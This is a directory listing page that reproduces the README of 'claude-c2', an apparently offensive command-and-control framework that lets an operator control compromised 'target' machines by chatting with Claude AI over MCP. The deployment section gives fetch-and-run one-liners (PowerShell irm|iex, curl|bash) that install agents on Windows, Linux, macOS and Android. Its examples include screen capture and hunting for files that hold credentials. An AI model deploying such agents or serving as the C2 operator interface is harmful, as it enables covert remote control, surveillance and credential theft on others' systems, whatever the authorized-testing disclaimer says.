claude-c2

claude-c2

Enables natural language command and control of remote systems across multiple platforms through Claude AI using the Model Context Protocol.

Category
Visit Server

README

<div align="center">

<img src="https://raw.githubusercontent.com/0xyg3n/claude-c2/main/docs/logo.svg" alt="Claude C2" width="120">

Claude C2

AI-Powered Command & Control Framework

Platform MCP Node

<br>

<img src="https://raw.githubusercontent.com/0xyg3n/claude-c2/main/docs/demo.gif" alt="Demo" width="700">

<br>

Natural language control of remote systems through Claude AI and Model Context Protocol

<br>

Overview · Architecture · Installation · Deployment · Documentation

</div>

<br>


<br>

Overview

Claude C2 is a command and control framework that integrates with Anthropic's Model Context Protocol (MCP), enabling operators to manage remote systems through natural language conversations with Claude AI.

Rather than memorizing command syntax across different operating systems, operators communicate intent in plain English. The AI interprets requests, selects appropriate targets, executes the necessary commands, and returns formatted results.

Operator:  "Show me all connected systems"
Claude:    [Queries client manager, returns formatted list with OS, hostname, IP, user context]

Operator:  "Capture the screen on the Windows workstation"
Claude:    [Identifies target, executes screenshot, saves to server, confirms completion]

Operator:  "Search for configuration files containing credentials"
Claude:    [Runs recursive search with appropriate OS commands, returns matching paths]

<br>

Key Characteristics

Feature Description
Natural Language Interface Communicate with targets through conversational English
Cross-Platform Unified control across Windows, Linux, macOS, and Android
Adaptive Execution AI automatically translates intent to OS-specific commands
Minimal Footprint Agents use native scripting tools with no additional binaries
Encrypted Transport TLS-secured WebSocket connections with OAuth 2.0 authentication
Auto-Recovery Agents automatically reconnect on connection loss

<br>


<br>

Architecture

┌────────────────────────────────────────────────────────────────────────────┐
│                                                                            │
│                           CLAUDE C2 ARCHITECTURE                           │
│                                                                            │
├────────────────────────────────────────────────────────────────────────────┤
│                                                                            │
│    ┌──────────────┐         ┌──────────────┐         ┌──────────────┐     │
│    │              │         │              │         │              │     │
│    │   OPERATOR   │   MCP   │   COMMAND    │   WSS   │    TARGET    │     │
│    │              │◄───────►│              │◄───────►│              │     │
│    │  Claude.ai   │   SSE   │    SERVER    │  JSON   │    AGENTS    │     │
│    │              │         │              │         │              │     │
│    └──────────────┘         └──────────────┘         └──────────────┘     │
│                                                                            │
│         │                         │                         │             │
│         │  Natural language       │  Command routing        │  Shell      │
│         │  requests/responses     │  Client management      │  execution  │
│         │  via Claude AI          │  OAuth + TLS            │  Results    │
│         │                         │                         │             │
│                                                                            │
└────────────────────────────────────────────────────────────────────────────┘

Communication Flow:

  1. Operator interacts with Claude AI through claude.ai interface
  2. Claude connects to C2 server via MCP (Model Context Protocol) over SSE
  3. Server maintains persistent WebSocket connections to all deployed agents
  4. Commands are routed to appropriate agents based on operator intent
  5. Agents execute commands using native OS tools and return results
  6. Claude formats and presents results to operator

<br>


<br>

Installation

Prerequisites

  • Node.js 18 or higher
  • Valid SSL certificate (Let's Encrypt recommended)
  • Domain name pointing to server
  • Network access on ports 443, 3101, 3102

Server Setup

# Clone repository
git clone https://github.com/0xyg3n/claude-c2.git
cd claude-c2

# Install dependencies
npm install

# Configure environment
cp .env.example .env

Edit .env with your configuration:

DOMAIN=your-domain.com
MCP_PORT=3101
WS_PORT=3102
OAUTH_CLIENT_ID=your-client-id
OAUTH_CLIENT_SECRET=your-client-secret
SSL_CERT_PATH=/path/to/cert.pem
SSL_KEY_PATH=/path/to/key.pem
# Start server
npm start

Claude.ai Integration

Configure MCP connector in Claude.ai settings:

Parameter Value
Server URL https://your-domain.com/mcp/sse
Authentication OAuth 2.0
Client ID Value from .env
Client Secret Value from .env

<br>


<br>

Deployment

Deploy agents to target systems using platform-specific one-liners:

<table> <thead> <tr> <th align="center">Platform</th> <th>Deployment Command</th> </tr> </thead> <tbody> <tr> <td align="center"><b>Windows</b></td> <td>

irm https://YOUR_DOMAIN/agent/windows | iex

</td> </tr> <tr> <td align="center"><b>Linux</b></td> <td>

curl -s https://YOUR_DOMAIN/agent/linux | bash

</td> </tr> <tr> <td align="center"><b>macOS</b></td> <td>

curl -s https://YOUR_DOMAIN/agent/macos | bash

</td> </tr> <tr> <td align="center"><b>Android</b></td> <td>

curl -s https://YOUR_DOMAIN/agent/termux | bash

</td> </tr> </tbody> </table>

Agents operate in memory without persistence by default. Connection resilience is built-in with automatic reconnection on network interruption.

<br>


<br>

Usage Examples

Request Action
"List all connected clients" Display all active agents with system information
"Execute whoami on target" Run command and return output
"Take a screenshot" Capture display and save to server
"Find all PDF documents" Recursive filesystem search
"Show network configuration" Execute ipconfig/ifconfig based on OS
"List running processes" Display process list with details
"Open URL on Android device" Launch browser with specified URL

When a single agent is connected, Claude automatically selects it. With multiple agents, specify the target by name or identifier.

<br>


<br>

Demonstrated Platforms

<div align="center">

Windows 11 Android (Termux)
<img src="https://raw.githubusercontent.com/0xyg3n/claude-c2/main/docs/poc-windows.png" width="320"> <img src="https://raw.githubusercontent.com/0xyg3n/claude-c2/main/docs/poc-termux.png" width="320">
Full agent functionality Termux environment with API access

</div>

<br>


<br>

Documentation

Document Description
Integration Guide Claude.ai configuration and API setup
Android Operations Termux-specific features and Termux:API

<br>


<br>

Legal Notice

<table> <tr> <td>

This software is provided strictly for authorized security testing, educational research, and legitimate penetration testing engagements.

By using this software, you acknowledge and agree to the following:

  • You have obtained explicit written authorization for any systems tested
  • You understand that unauthorized access to computer systems is a criminal offense under applicable laws including but not limited to the Computer Fraud and Abuse Act (CFAA), Computer Misuse Act, and equivalent legislation in your jurisdiction
  • The authors and contributors accept no responsibility or liability for any misuse, damage, or illegal activities conducted with this software
  • You assume full legal responsibility for your use of this software

This tool is intended exclusively for:

  • Licensed penetration testers with valid authorization
  • Red team operators with written scope agreements
  • Security researchers in controlled environments
  • Educational purposes in authorized lab settings

</td> </tr> </table>

<br>


<div align="center">

<sub>

Claude C2 — Built on Anthropic's Model Context Protocol

</sub>

</div>

Claude C2 - Updated Mon Dec 8 13:44:11 EET 2025

Recommended Servers

playwright-mcp

playwright-mcp

A Model Context Protocol server that enables LLMs to interact with web pages through structured accessibility snapshots without requiring vision models or screenshots.

Official
Featured
TypeScript
Magic Component Platform (MCP)

Magic Component Platform (MCP)

An AI-powered tool that generates modern UI components from natural language descriptions, integrating with popular IDEs to streamline UI development workflow.

Official
Featured
Local
TypeScript
Audiense Insights MCP Server

Audiense Insights MCP Server

Enables interaction with Audiense Insights accounts via the Model Context Protocol, facilitating the extraction and analysis of marketing insights and audience data including demographics, behavior, and influencer engagement.

Official
Featured
Local
TypeScript
VeyraX MCP

VeyraX MCP

Single MCP tool to connect all your favorite tools: Gmail, Calendar and 40 more.

Official
Featured
Local
graphlit-mcp-server

graphlit-mcp-server

The Model Context Protocol (MCP) Server enables integration between MCP clients and the Graphlit service. Ingest anything from Slack to Gmail to podcast feeds, in addition to web crawling, into a Graphlit project - and then retrieve relevant contents from the MCP client.

Official
Featured
TypeScript
Kagi MCP Server

Kagi MCP Server

An MCP server that integrates Kagi search capabilities with Claude AI, enabling Claude to perform real-time web searches when answering questions that require up-to-date information.

Official
Featured
Python
E2B

E2B

Using MCP to run code via e2b.

Official
Featured
Neon Database

Neon Database

MCP server for interacting with Neon Management API and databases

Official
Featured
Qdrant Server

Qdrant Server

This repository is an example of how to create a MCP server for Qdrant, a vector search engine.

Official
Featured
Exa Search

Exa Search

A Model Context Protocol (MCP) server lets AI assistants like Claude use the Exa AI Search API for web searches. This setup allows AI models to get real-time web information in a safe and controlled way.

Official
Featured